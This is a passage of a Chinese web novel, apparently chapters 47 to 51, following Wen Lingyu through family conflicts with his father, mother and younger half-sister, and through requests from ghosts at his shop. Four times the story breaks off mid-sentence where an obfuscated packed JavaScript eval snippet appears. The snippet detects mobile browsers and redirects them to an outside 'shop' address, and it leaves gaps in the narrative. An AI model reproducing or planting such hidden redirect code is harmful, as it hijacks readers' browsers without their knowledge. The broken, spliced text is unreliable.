见状，温令羽自觉找了个理由，离开了这一块，去找一块能安静待着的地。 站在整个会场的角落里，面前的是在侃侃而谈的人，而自己的周围没有一人，奇怪的是，温令羽只感觉到安全感，此刻的他无比放松。 “哥，你又在这里。” 听到声音的一刻，温令羽第一反应是弟弟，毕竟他就一个弟弟一个妹妹，只有弟弟离他更近，但又觉得不可能。 温昕拿着餐桌上顺来的小蛋糕，就站在温令羽的面前，一年内零星几次的见面，温昕已经长大了，脸也张开了，很像阿姨。 “小昕，你怎么会在这里？”温令羽找了一圈，没发现温父的踪影。 温昕先将蛋糕递给温令羽，才解释道：“妈妈收到了请柬，我和妈妈一起过来的，而且哥哥也在。” 温令羽接过蛋糕，带着温昕在旁边的位置坐下来。 “你怎么找到我的？”温令羽还记得自己对温昕说过的话，边吃边问。 温昕说到这个，语气里满是骄傲，“你不就是爱往没人的地方去，往角落找就能找到了，这个宴会厅我又不是第一次来。” 温令羽有片刻的愣神，他记忆里还记得自己以前不是这么畏缩，喜欢在人前露脸，就同宋时盛一样，不知道从什么时候起就开始变了。 “以后不愿意的事情，就不要去做了，我的升学礼和生日，我会和爸爸好好说的。”温昕给温令羽吃定心丸，消除他的后顾之忧，但她又很清楚，温父是一定要温令羽出席的。 温昕待不了多久，阿姨就过来找她，看到温昕旁边是温令羽也不意外。 “阿羽，不久小昕也要办升学宴，到时候你也来。”临走时，阿姨笑着邀请了温令羽去，以往提这件事的人都是温父，阿姨见到他没几次好脸色。 温令羽应了下来，本来他就没有拒绝的理由，况且弟弟的都去了，妹妹自然也不能落下。 在他们走后不久，令美珑忙完了那边的事情来找温令羽，就见他独自一个人待在这里，“就你一个人待着吗？你的朋友都不在吗？” 令美珑不光邀请了宋时盛，还请了其他与温令羽相熟的朋友。前面没见到他，便以为是和朋友在一块，干脆就没有打扰，谁想到竟一直一个人在角落待着。 温令羽不觉得有什么，但他又怕令美珑担心，撒了个谎话，“我刚刚才过来，很多人一起闹得有点闷。” 没等令美珑再问，主动提到了弟弟，“弟弟呢？他刚才不是和你一起？” 令美珑指了指右边，弟弟正和他爸爸在一块认人，“你叔叔带他见朋友，我一直没见到你，就过来找你了。” 整场宴会还有不少的事情需要令美珑去做，陪温令羽在这里显然会误了很多事情，温令羽清楚自己不走令美珑也不会走，便找了个理由准备离开这里。 “阿羽，你怪妈妈吗？”令美珑轻声叫住了温令羽。 温令羽以为是之前的事情，他为了这事误会了令美珑很久，因为生气也私自切断联系，他早就后悔了。 所以这一次，温令羽反驳得很快，“没有，是我觉得对不起你，当时不应该这么任性。” 这话倒是更让令美珑心疼了。 原先她养的好的孩子，被温父带了几年，变得这么沉默寡言。 “我直到后来才知道，你初三那年，你爸把你丢到了乡下，找的学校也不好，你当时怎么不和我说呢？”令美珑讲到这事就气，之后高中重新有了联系，电话里见面中温令羽都克制了感情，只能凭了解从他的话里读出关心。 温令羽怨恨温父，也怪令美珑，一个两个都把他抛弃了，说得话冠冕堂皇，“掌权者”占尽了先机和理由，下位者连反驳的能力都没有。 小时候的温令羽跟着令美珑到了她的新家庭，而令美珑生了孩子之后，两个孩子依旧在一起，小温令羽有时还会帮忙照顾弟弟。 很快弟弟也到了上学的年纪，令美珑工作生活完全兼顾不了，就以无法一起照看两个孩子为由，主动将抚养权交给还未再娶的温父。 温父原是不情愿的。 奈何温家是老一辈做主，爷爷奶奶发话一定要温父把他们唯一的孙子温令羽接回来，温父也只能如实照办，但他也反抗过，接回来并不负责带。 接回来的这年，温令羽刚好读一年级，一年级能记住事情，知道是因为弟弟，妈妈更爱弟弟，所以不要他了。 温令羽与温父都有情绪，一碰见就像点着了引线，就开始各种吵架，打起来的事情也不少，整得个家完全不像一个家。 听说了这些，爷爷奶奶在老家待不住了，打破了原则第一次出远门来儿子家长住，准备留在这里照顾温令羽小朋友，也为了调和父子之间的严峻关系。 平静生活了一两年后，温父再娶，继母在一年后生下了温昕。 温家瞬间“热闹”起来，六口人时不时会把事情搞得一塌糊涂，爷爷奶奶年纪大了觉得心累，而温令羽此刻也能自己照顾自己，心里不再有顾虑，选择回了老家，就留他们一家人闹。 等到温令羽上了初中，正值叛逆期时刻，温昕又是从小到大被宠着，一点东西都不让，有时对温令羽手里的东西好奇，经常哭闹着要拿到手。 温令羽也不惯着，任凭怎么哭都不松口。 就这样，偏心到极致的温父终于是找到了正当理由，让二老把温令羽接回老家，觉得他难以规训。 其实在这件事情之前，温令羽曾听到过温父给爷爷奶奶打电话，说他没精力带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13260187|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个孩子，理由和记忆中令美珑说的一样，只不过这一次，他走的理由是他自己创造的。 温令羽他没说的是，他很庆幸，至少这一次终于不是毫无理由地抛弃，只是因为他不听话而不是让他十分无力的“没理由”。 从短暂的记忆中抽离，温令羽已经释然了，“爷爷奶奶身体不好，能够陪伴他们这么一年我挺开心的。而且小时候是我太任性了，不知道你的辛苦。” 令美珑当时是做过努力的，只是后来工作和家庭要能两全，只能让多余的他离开。 “阿羽，以后想做什么就去做什么，妈妈都支持你。我刚刚过来时看到了时盛，好像看到了你一样。”令美珑怀念起侃侃而谈的小大人。 温令羽一一答应下来。 宴会结束，送走了最后一位宾客，弟弟就先一步回去休息了，留下令美珑和叔叔收拾最后的残局。 温令羽买了隔天一早的票回去，在酒店门口准备和令美珑告别。 令美珑和叔叔是一前一后出来的，两人的脸色都不太好，像是刚吵过架。 路过温令羽时，叔叔只是打了声招呼就走了。 温令羽有些担忧地看向令美珑，“叔叔他是怎么了？” “没事，他很累了，现在先去车上等我。”令美珑以为温令羽早走了，还在这里等她应该是有事要说，“怎么了？有事可以进去找我的。” 不知怎么的，温令羽下意识觉得这句话是试探。 但又很快自我否定。 温令羽将要走的事情说了，“我刚刚出来才想到的，买了明天早上的票，准备和宋时盛一起回去。” “怎么这么赶？没有开学的话，可以多留在这里几天。”令美珑挽留温令羽。 温令羽出来这么久，不知道鬼小馆的店怎么样了，毕竟店里只有他一个人干活，这段时间他见到鬼魂都装看不见，生怕又来一个大活。 罢工太多天，积攒的愧疚感让他惦记起自己的店来。 温令羽还是决定先回去，找了个理由，“你刚不是说要去尝试做自己想做的事，我现在有点想法，所以要回去努力一次。” 他的小店也是尝试之一。 不算骗人。 温令羽如此想着，观察令美珑脸上的表情。 令美珑为温令羽高兴，“那你路上小心，之后有时间还来妈妈这，还做你爱吃的菜。” 宋时盛休息了这么多天，复工这天特别积极，买了很早的机票回去，连带着温令羽也得起个大早，在机场候机厅吃早饭的时候，连打好几个哈欠。 眼睛困到睁不开，闭着眼睛吃着饭。 感受到一道视线在往这里看，就见有个衣衫褴褛的白发大爷盯着他手里的东西，还咽了咽口水。 温令羽脑子慢了半拍，手的动作很快，递了出去。 “给你吃。” 宋时盛也困，他看到温令羽对着空气说话，声音都变了，“你在说什么？” 白发大爷发现温令羽能看见他，撒腿就跑了。 48.顺其自然 一不小心暴露了。 此想法一出现，温令羽瞌睡虫全跑完了，眼神都清醒了，他看着宋时盛，有些慌张地回复：“你刚刚说什么？” 他也清楚刚刚的行为太荒诞，必须要翻篇过去。 宋时盛已经习惯了这个作息，困是困的，但没有到温令羽这样的情况，所以当他看清温令羽在空气递吃的，嘴里还念叨什么，早就吓坏了。 见到温令羽现在神智清明，他松了一口气，将刚才看到的情况全部说给温令羽听，还不忘提醒他：“感觉你有空要去庙里驱驱邪。” 神鬼之言，宋时盛是不信的，但面对无法解释的传言，信要比不信好，至少有了来处，也多了一份心安。 温令羽一边自省自己的不小心，一边找理由掩饰自己那不寻常的行为。 先是打了个哈欠，随后揉了揉眼睛。 “起得太早我眼睛都睁不开，以为是你在说话。你刚刚说到还吓我一大跳。”温令羽佯装刚缓过来，把问题又抛了回去。 确实会有看花眼的情况在，如此一想，宋时盛也就不再怀疑，毕竟怀疑的原因太离谱了，任凭谁也不会相信。 恰好他们也快登机了，宋时盛催促温令羽拿上自己的行李箱走。 “到我们了，你的咖啡自己拿着，别浪费。” “知道。行李箱拿错了。” 温令羽看着跑远的宋时盛，在后面喊他，这丫的行李箱比他重，故意留给他的。 回到了家，温老和阿辛都不在，倒是留了张纸条，纸条上写着他们已经去鬼小馆看店了，在往日的报备清单中还强调，店铺里新招了个鬼，准备等他回来看看。 温令羽收拾了一下自己，打算出门去温家一趟。 主要是去还温昕掉落在宴会上的发卡，她们走得早，也就没有回来拿，继母打来电话，让温令羽有空送一下到家里。 那个发卡虽然贵，温父对温昕向来不吝啬，没了就没了，恐怕是温昕想见他了。 于是，温令羽放弃了同城配送的方式，选择自己拿过来。 过来的时候，温令羽和继母通过电话，知道她和温昕都在家里，温父要在公司忙工作，并不在家里。 没有他在，少了导火索，应该能清净不少。 开门的是温昕。 “哥哥。”不意外但依旧惊地说，“马上中午了，留在这里吃晚饭吗？哥哥你的房间还在。” 说这话时，温昕扬起下巴，像是在等待温令羽的夸奖。 温令羽将发卡交到温昕的手上，跟随着她进门，疑惑：“不是改成舞蹈室了吗？” 母女两就因为改房间这件事情大吵一架，温昕还跑到温令羽那里去，要让温令羽给个答复。 后知后觉的他，渐渐明白当时的温昕应该是不想要把房间改掉，结果是他让妹妹失望，站在了继母那边。 这话屋子里的人都听见了，继母走上前来，她很无奈，“小昕学舞蹈的时间太晚了，加上她自己又不喜欢，修好了之后没用过，觉得浪费地方又改回去了。” “还是原来的样子，柜子太久了新做了一个。”继母说着房间修改后的情况，就要领温令羽去看，这是温令羽的房间，无论如何要有他的位置。 温令羽的房间是很早就在住，没有大改动过。 搬走时他只带走了需要的东西，剩下的都是小时候、现在看来已经不值钱了的东西，他也就没想再带，装修丢了就丢了。 没想到竟然用纸箱子装起来了，现在房间改回去，但杂物早就不知道原先摆放的位置，只好是就这么堆在那里。 所幸家里很少来客人住，房间也够用。 “好了小昕，你别影响哥哥休息，自己回房间看衣服下午会有设计师姐姐过来看。”继母打发温昕进房间，然后让温令羽好好休息，“床铺什么的你去问阿姨，她收拾起来了，你先休息一下等下就开饭了。” 温令羽找了阿姨铺床，他是洗完漱直接赶过来的，确实是累，躺在床上没一会儿就睡着了。 第一次觉得温父这么有心，装修风格简直和原先一模一样，家具也是原来的，没坏就继续沿用了。 再一次被叫醒，是阿姨过来找他吃饭。 一看时间，温家规定的饭点已经过了一个小时，担心温昕他们在等，温令羽快速擦了一把脸就下楼。 餐桌上是热过一遍的菜，相连的客厅里温昕在试衣服给店里的人看，尺码款式是否合适。 温昕听到温令羽下楼的动静声，叫温令羽下楼吃饭，“哥哥起迟了，饭又要冷了。” 她正在被两位姐姐左右拉着，只能靠说了。 继母让温昕认真选衣服，自己则是带温令羽去餐厅。 “本来小昕是要等你的，但店里的人来得早，就先吃饭了。你爸爸中午不回来，热了几道菜，自己家里没关系吧。”继母解释道。 温令羽摇摇头，他不在意这些，“没关系，这几道菜还太多了。” 她们都有忙的事情，温令羽也就不留下吃晚饭，直接去鬼小馆找温老和阿辛两个。 小馆里还是和之前一样，下午人少了一些，实属正常情况，大热天的，鬼魂也不习惯在太阳底下赶过来，夜晚更加适合他们。 没有他干活，店铺竟然也能排起长队。 温令羽绕过队伍往店里走，队伍中有不少认识他的和他打招呼，温令羽也一一回应。 “不能插队，排到后面去，小伙子你是怎么回事？”熟悉的白发先映入眼帘，随后是今早见过的面孔，在航站楼，跑掉的那位白发老头。 温令羽还没说话，白发老头可能吃过东西有精气神，指着温令羽说道：“你这个人，竟然能跑到鬼的地盘上来。” “阿羽，你回来了！”阿辛注意到门口的动静，从里面出来看情况，就看到温令羽被堵在外面，他意识到还没做介绍，对白发老头说：“晋叔，这是我们老板阿羽。” 晋叔是上任管档案的，和前任老板的关系好，老板死后他就离开了鬼小馆，前些天听说要开分店的消息才特地赶了回来。 直到进来，原先满墙的名字到现在只剩下了两排，上面有擦抹的痕迹。 “这是怎么回事？”这个店铺的骨干是温令羽，没有温令羽在竟也能完成这么多祈愿任务，温令羽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297113|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肯定是要多问一下。 阿辛一拍脑袋，重点事竟然没和温令羽说。 “晋叔在这里生活很多年了，来看我们店时发现了不少问题，又听说了小宝的事情，就说要加入我们来帮忙。但你在外地联系不上，老先生就替你同意了。” 一面墙都是鬼魂写下的祈愿，但对于祈愿者却没有描述仔细。晋叔便主张重新进行登记，写清楚任务情况，也好减轻温令羽的负担。 看着登记本上仔仔细细记录的详情，不禁感叹有先见之明。 阿辛指着排行在第一位的说：“综合评估过，下一个对象应该是他，但就是这项任务并不简单。” 温令羽看清上面的名字，祈愿的那一方竟然是他的二叔公，对象竟然是他素未蒙面的大叔公，二叔公希望死去的大叔公能庇佑他唯一孙子顺利出生。 大叔公走得很早，儿子还没成年就离开了，他便一直跟着二叔公，由他负责养育，两个人几乎是从一个模子里刻出来。 后来人都说，他们比亲父子更像父子。 涉及到自己家的事，温令羽问阿辛：“我老祖宗知道吗？” 面对老祖宗，温令羽总得先问一下温老把关了没有，他这一小辈到底能不能管这个事。 说来奇怪，温令羽一直没有听说二叔公家有喜事，虽然二堂叔父早些年结婚，但却一直没有孩子，去医院也检查了很多遍。 阿辛点了点头，肯定道：“当然了，不过老先生说这件事他不管，全权要你去安排，他不参与。” 光是这个姓氏，阿辛就猜到了，肯定是温家的事。 但听温令羽介绍竟然是这么亲的关系，也是惊讶了，“就是那个脸黑起来，骂人的那个？” 清明祭祖都回去过，阿辛对二叔公的印象很是深刻。 温令羽介绍道：“二叔公就是很凶，我一般是有多远躲多远，大叔公我倒是从小没见过。” 毕竟是他们店铺确认过，写在第一位的鬼，阿辛还有印象，“长得很年轻，感觉才三十多岁。他来的时候和老先生一块说了不少话，之后就没来过了。” 温令羽还是要先找大叔公，“那我大叔公现在在哪里？在楼上吗？” “临走的时候说，他已经告诉老先生了，你只能去问老先生了。因为我也不知道。”阿辛没想细问，反正温老知道能做兜底。 一件事翻来覆去的，意味着里面的来头可大了。 温令羽在影映室里找到温老，这些影片他已经重刷好几遍了，没想到还在重播，室内还坐着不少生面孔，应该是刚来鬼小馆的。 一人一鬼安安静静地等待这一部放完，才出去，就和刚来那时一模一样。 “阿辛都和你说了吧。”温老直白挑明了，说道：“我不想你接下这趟，放弃吧，你大叔公也是这个意思，他觉得一切顺其自然就好。” 温令羽多了一项品质——刨根问底，糊涂有时候会好，但一直糊涂是傻，“大叔公、二叔公他们有什么矛盾？为什么我要放弃？大叔公不想走吗？” 鬼魂离开世界的好处就摆在眼前，那心甘情愿留在这里的原因强烈激起好奇心。 49.笑脸背后 “不是不想，是不能。”温老面对温令羽求知的眼神，狠不下心来隐瞒他，都应该有知情的权利。 温令羽被这话弄得全是疑惑，大叔公去世得早，也正如阿辛所说的，才三十岁不到的年纪就出事情走了，自己唯一的孩子都没办法看他长大成人。 温老叹了口气，说道：“你作为小辈，去掺和人家的家事，会落人口舌，况且还是你二叔公这么古板的人。” 二叔公重男轻女的思想根深蒂固，把传统观念摆在最重要的位置上，甚至做出把自己女儿找人送养的事情来，又没了几胎之后，总算是生下了儿子。 前些年结婚，温令羽还去参加过喜宴，只听说对象是二叔公把关过的，非常满意。 这么长时间以来，二堂叔父不常出门，亲戚走动也不来。 可以说，自婚宴结束后，温令羽就没见过这位二堂叔父了。 那既然温老和大叔公都不想让温令羽掺和，不写上就好了，而且温令羽永远不会知道，还少了很多事。 温令羽将事情说了出来，“那你们为什么还要写上让我知道，阿辛也说要让我自己来，你不参与。” “你知道你二叔公用什么来祈愿的吗？用你大叔公儿子的那份养育之恩。”温老没料想到自己未来的后辈，竟会用这个来要挟。 鬼魂重回世间的要求很是苛刻，几乎要了人的半条命，世界又是以人为主宰的，完成祈愿任务需要一样媒介来作为催化剂，温令羽便是在其中充当这样的角色。 而二叔公用多年养育之恩来祈求，诚心即是私心，以此来困住大叔公的鬼魂。 “其实你二叔公家里，早就有一个小孙女了，但是他没认。”温老毫不留情道出里头的肮脏，同处在一个城市当中，都能隐瞒到这种地步。 温令羽他有些震惊，“他只要一个孙子是吗？那我们有什么办法。” 他又不是送子娘娘，可以决定生下一个孩子，或是决定一个生命的性别，温令羽觉得这个事发生得莫名其妙。 “你是没法决定男孩女孩，但要是让二叔公放下执念接受那个孩子，或许是一个转折。”温老是有办法的，但他们两个商量过，一致决定这个办法行不通。 对于一个老古板，要想观念改变谈何容易。 温令羽也是想到这一点，他绝望地闭上眼睛，随后深深叹气，“可是，我哪管得了他们啊。” 温老安慰温令羽，让他不要多想，这件事放在这里这么久，也不差这点时间了。 “那要是他死了，怎么办？”虽然说人死不好，但二叔公老了，总会有这么一天，而这天到来，大叔公又能如何。 温老没说话，但他的眼睛已经说了答案。 土匪大哥的例子生生摆在眼前，人死鬼留，一代一代等下去。 开始的时候，身边还有相熟的人，刚认识的鬼。时间过去了，人会死，鬼会走，而等待不会停止，最终只会留下一个，重新再认识。 温令羽待不下去，便回到了家，把自己关在了房间里。 发生在自己的亲人身上，还无能为力，太受挫了。 晚上，温父罕见地来找温令羽，他平时只会一个电话打过来让温令羽回去，从没有亲自登门过。 开门见到人，温令羽还揉了揉眼睛，怕是还在做梦。 “不让我进去？”温父语气平静地说，丝毫没有以前一点就炸的脾气。 温令羽把人请进来，一边思考温父是不是哪根筋搭错了，这么和颜悦色地找他。 温父在房子里转了一圈，除了以前破旧家具换掉了，摆设没以前多之外，和之前他和令美珑住一起的时候，一模一样，他确实很久没过来了。 “小昕说你中午来家里了，那你的房间也看到了。不然回家住吧。”温父是来把温令羽叫回去的，当时他一气之下把人赶走，现在一年多过去，也该是回家了。 温令羽面色复杂，温父被换魂的想法越来越肯定，他说道：“不是你要我搬出来吗？” 理由还合理正当。 温父这次来得耐心格外足，但说到上一件事情还是压不住火气，“小昕的生日宴你提前走了，甚至连声招呼都不打，我当然生气。而且她马上初中，我和你阿姨想陪读。” “这跟我有什么关系？”温令羽想不通里面的渊源，这两者是一点边都搭不上。 温父本意是想让温令羽搬回去先，其他事情可以之后再谈，但温令羽这么说，他立马转变了看法。 “学校附近买一个租一个其实是可以的，但是你这个房子现成摆在这里，不如就让给她们住，家里现在有你的房间。” “我的房子给她们住？你倒是想得挺美。” 果然送上门的笑脸，背后没有好事。 温父竟然把念头打在令美珑给他的房子上，异想天开。 一听到温令羽的拒绝，温父也是不装了，“我拉下面子请你回家住，你不领情。现在就这么一件小事让你帮，你就这么绝情？还把不把你爹放在眼里！” 温令羽他今天刚回家，热水还没来得及烧，水也没有给温父端一杯。 应该来一杯的，这个时候就可以泼过去，让温父脑子清醒清醒。 温令羽懒得同温父讲这么没必要的，把他开了门，指了指门外，“给你开了，走吧。” 请人走的意思就摆在明面上了，温父怒道：“这么多年，我真的白养你了。” “对对对，你说得都对。走吧。”温令羽还打了个哈欠，早知道会发生这事，温令羽就不给他开门了，还浪费下床的力气。 温父一走，温老和阿辛也从鬼小馆回来了，两方在一楼电梯口擦肩。 见状，阿辛快速跑上来，“阿羽，你爸刚刚没把你怎么样吧？” 就连阿辛都知道温父没憋什么好屁上门，他刚刚竟然为“搬回温家”这件事情心动上，果然是太久没得到教训，他都快忘记以前承受过的痛了。 温令羽默默在心里记下，下午他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327632|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡了很久，打发时间到半夜才堪堪有了睡意，准备回房间，手机铃声响了。 温昕用她的电话手表打来了，温令羽怕是温父回去撒气，立马接起来，果然电话另一头温昕声音很哑，应该是刚刚哭了很久。 “小昕，你怎么了？”对方迟迟不说事，只是一个劲儿在叫“哥”，只好是温令羽自己问了。 却从温昕的口中，获得了另外一个版本，“哥哥，你不想和我一起住吗？” 第一反应当然是回温家的事，代价是要贡献出自己的房子，温令羽当然不情愿，他回答道：“小昕，哥哥现在有自己的家，当然不能回去住了。” “那我去你那里也不可以吗？爸爸说你就是不想见到我。”温昕断断续续地说。 在温昕的话里，可以拼凑出温父回家对温昕说了什么。 温昕只是以为仅仅来温令羽这里住几天，这么一点点小事却被温令羽拒绝，甚至温父还用“不想见”的理由来说服温昕。 但温父实际是要他的房子，对温昕却是换了副说辞。 温令羽向温昕慢慢解释，但对于温昕要过来住这个事闭口不谈，毕竟照顾一小女生，温令羽没有经验，只能装作没听见。 但在温昕的再三保证下，温令羽心软松口带她出去玩一天。 “就一天，晚上你依旧要回家。”温令羽强调道。 温昕不再难受了，她提醒温令羽明早过来接她，“明天早上过来接我，不能放鸽子。” 电话挂断后，温令羽总觉得有哪里奇怪，但是想不通。 在床上翻来覆去半天，被温昕套路的感觉越来越清晰，到后来的肯定 温昕和他出门绝对要经过继母的应允，而温昕如此轻易答应，必然是早就说好了，故意来套路温令羽的。 算了，答应了就得去。 前一天刚和温父吵了一架，于是温令羽九点才从家出发，避免在家门口迎面撞上温父，再爆发一次争吵，天天吵他早就烦了。 温令羽到了先敲了敲门，温昕已经收拾好，“我们走吧。” “和阿姨说过了吗？”温令羽往客厅看了看，得确保继母知道他把温昕带走，万一她真不知情，想想到时候发生的事就头疼。 继母就坐在客厅里，她听到这话向这边看了一眼，又把头转了回去。 上次来的热情全然不在。 温令羽不在意，他这下可以放心带温昕出门。 “令羽，小昕，你们两个这是去哪？”二叔公迎面走过来，身边还有他很少露面的儿子。 温令羽向长辈打招呼，温昕虽然不认识，但有样学样，也随温令羽叫。 温昕不怕二叔公，对于亲戚间传言的，她连听都没听说过，更别说亲眼见过，见到人她也不慌，直接问：“你们来我家有什么事？” 二叔公咳嗽了几声，二堂叔父明白他的意思，他很喜欢面前的小丫头，蹲下身声音轻柔地说：“你爸爸在家吗？我们是为了修路的事情。” 50.生日礼物 他们出来没有立刻关上门，门外的动静很快就把里面的人吸引出来，继母出来就见到这副样子，但她没有吃惊，温父早就和她说过，二叔公一家人会上门。 清明他们一家都没回去，温父为了安抚族中人，便许诺了出钱修路。 这件事情他们两个都十分清楚。 “他现在正在回家路上，外面热，都进来等吧。”继母招呼二叔公一行人进来，然后对还愣在原地的两人催促道：“你们不是要出门？不要磨蹭在门口了。” 等到他们全都进去，继母把门关上，两人才离开。 温令羽默默走在温昕后面，两人一同往路口走过去，快到小区十字路口的时候，温昕不知道自己该往哪个小区门口走，问温令羽，“我们往哪里走？南门好像离你家更近一点。” 原本温令羽是打算带她回去的，但仔细想想带回去之后的安排，无非是自己睡觉让温昕自己找事情做，两个人互不相干，直到继母或是温父过来接人。 就这么一想，回家并不是最优选，不如出去找个地方打发时间，更为有趣。 但是决定权依旧在温昕的手上，温令羽看向温昕。 “你想去哥家还是带你在外面玩？”温令羽非常直接地说清楚了，毕竟主人公是温昕而非自己，对于温昕说的每个选择他没有意见。 两项选择都对温昕有着致命的吸引力，一时间她陷入了纠结当中。 和哥哥外出去玩的诱惑力太大，就是她的娱乐项目是小学生，未必能一起，可是和哥哥待在家里也很不错。 好处坏处并存，温昕皱起了眉头。 温令羽看见温昕紧皱的眉头，说道：“没关系好好想，不着急。” “可以先出去玩然后再去你家待一会吗？”温昕小小年纪就学会了“鱼和熊掌兼得”的念头，毕竟两者之间没有冲突，一天的时间很长。 这话倒是给温令羽问倒了，一天很短，晚上家里人就会接温昕回去，不会允许她在外过夜，“不是不可以，而是出去玩的时间并不确定，要是时间太晚的话，肯定是要先送你回去。” 温昕还记得这趟的目的，最终选择在外面，但还是让温令羽做了保证，要是回去得早就一起回家，不能提前把她送回去。 这个要求温令羽答应了。 刚开始打算去附近商场开的电玩设备，转念一想温昕未必会喜欢这些。刚好附近儿童乐园的推送广告来了，于是温令羽便打车前往市里的儿童乐园，准备带她好好地玩一玩逛一逛。 看广告介绍，非常有吸引力。 对于温令羽做的选择，温昕没有说自己已经去过好多遍了，乖乖应下来，跟着温令羽上车，然后在儿童乐园门口看到了熟人。 这个儿童乐园温昕来过很多次，连门口的保安大哥都能认出来她，以前都是温父或是继母带她过来，没有一次是和温令羽一起。 “这次是和谁一起过来？没有见过啊。”保安边维持纪律边担忧温昕的情况，万一是个不认识的，出了事就不好了。 温昕笑着向保安大哥介绍，带她过来的是她亲哥哥，然后疯狂偷看温令羽面上的表情，想从中看温令羽有没有生气。 保安大哥顿时安心下来，突然他又高兴起来，介绍道：“今天乐园有活动，刚好你叫你哥给你赢奖品。” 听对方这么说，温令羽才发现四周的人很多，之前想着是游乐园人多正常，没想到竟然是因为有活动。 整个儿童乐园为了活动装扮过，连路上的灯都挂上了，还有不少指示牌。 温昕进到里面就控制不住激动，就要拉着温令羽就去玩游戏赢玩具，然后被温令羽问住了，“你来过这么多次，会觉得无聊吧，其实可以去其他地方的。” 当时温令羽是在小区门口选了很久才确定，温昕不想卡在这一步，她说道：“可是这里的活动是新开的，我以前也没来过。你看，那里地上摆了这么多娃娃，我们去看看。” 温令羽的运动能力不错，套圈游戏对他来说不难，温昕见他付完钱后，就把背上的书包给温令羽。 然后，温昕从老板手中拿到十个圈，对温令羽说道：“我自己来，哥你往旁白你站着等我。” 温令羽随即往后走了几步，空出一块给温昕发挥的空间。 温昕想套的娃娃放在很后面，她的力气不大，套完了所有的圈子只有一个小娃娃和钥匙扣。 “老板，我还要买。”温昕对这个游戏杠上了，像是不套中想要的不罢休。 这个游戏一玩就花了很长时间，到最后老板都建议温令羽花钱给温昕买算了。 “这个娃娃要不你给妹妹买回去算了。”老板也不忍心赚一个小学生这么多。 温令羽没有自己做主，他问温昕，“小昕，这么想要的话我们买回去吧？” 这话一出，温昕深深看了一眼温令羽没说话，紧接着低头将手里的圈全丢了出去，离开了套圈的摊位。 温令羽带着温昕套来的奖品，跟在后面走。 两人向乐园里面走，温昕在前面，终是没有忍住，她回头问：“你是觉得我太没用了吗？” 全是误会。 温令羽不清楚温昕是怎么得出这个结论的，但是该说的要解释清楚，“没有，你套来这么多很厉害。” 温昕听到话里的厉害，连即将要说的下一句都没了声音，半晌后她说道：“那你还想要什么吗？” 周围都是游戏摊位，还是活动期间限定。 温令羽不好反驳了温昕，但这些玩具没什么吸引力，只能换种说法不打击对方的热情，“都可以，没有特别喜欢的。” 最后一句只是想让温昕打消念头。 却没想到，温昕一整天将乐园的游戏能玩得都玩了个遍，不仅仅是温昕带来的包装满，手上都快拿不下了。 在乐园里玩了很久，出来时温父打来电话问温昕的情况。 “我现在在你家楼下，你把小昕送出来。”温父没提前打来电话，反倒是着急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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默念不和老头计较，但嘴上还忍不住嘲讽，“我没那闲工夫跟你示威。” “我这是提前打个招呼，给小昕一个心理准备，之后我会补上的。毕竟就你这个脾气，到时候吵起来难过的还是小昕。”温令羽是不想理温父，但他还需要找个人传话。 温父意识到自己是误会了，但他又拉不下脸解释。 “你作为哥哥，妹妹的升学宴怎么能不去。你现在也长大了，公司的股份该你那份我会转，回公司帮忙吧。”温父尽可能将这件事翻篇过去。 温令羽可不敢相信，他坚定自己的立场，说话硬气，“我不会回家，房子也不会给你。” 温父容许不了忤逆他，但事出有因，克制自己的怒气。 “那件事情就当我没有说过，当时我没考虑到房子是令美珑留给你的，之后我不会再讲了。” 51.分店纠纷 “你怎么就躲在这地方？” 宋时盛在老地方找到了温令羽，不过这一回他没带上东西，他早改了来宴会先吃的习惯。 他刚刚一进来就找合作方，然后看到温父后反应过来，他这趟可以不用应酬，立马就过来找温令羽了。 温令羽不是主角，便准备等人到得差不多，再下去，要不然他一个人待着没什么意思。 过了一会儿，两人到了主场地，隔着大老远看见温昕被围在中间，继母陪着她，温父则是在另一边应酬，看样子是谈得不错。 “令羽。”二堂叔父站在温令羽身后叫他。 温令羽与二堂叔父的交集不多，而每年到了回老家的日子他们也说不上几句话，想不通他来找他的用意。 可毕竟是长辈，温令羽礼貌叫人。 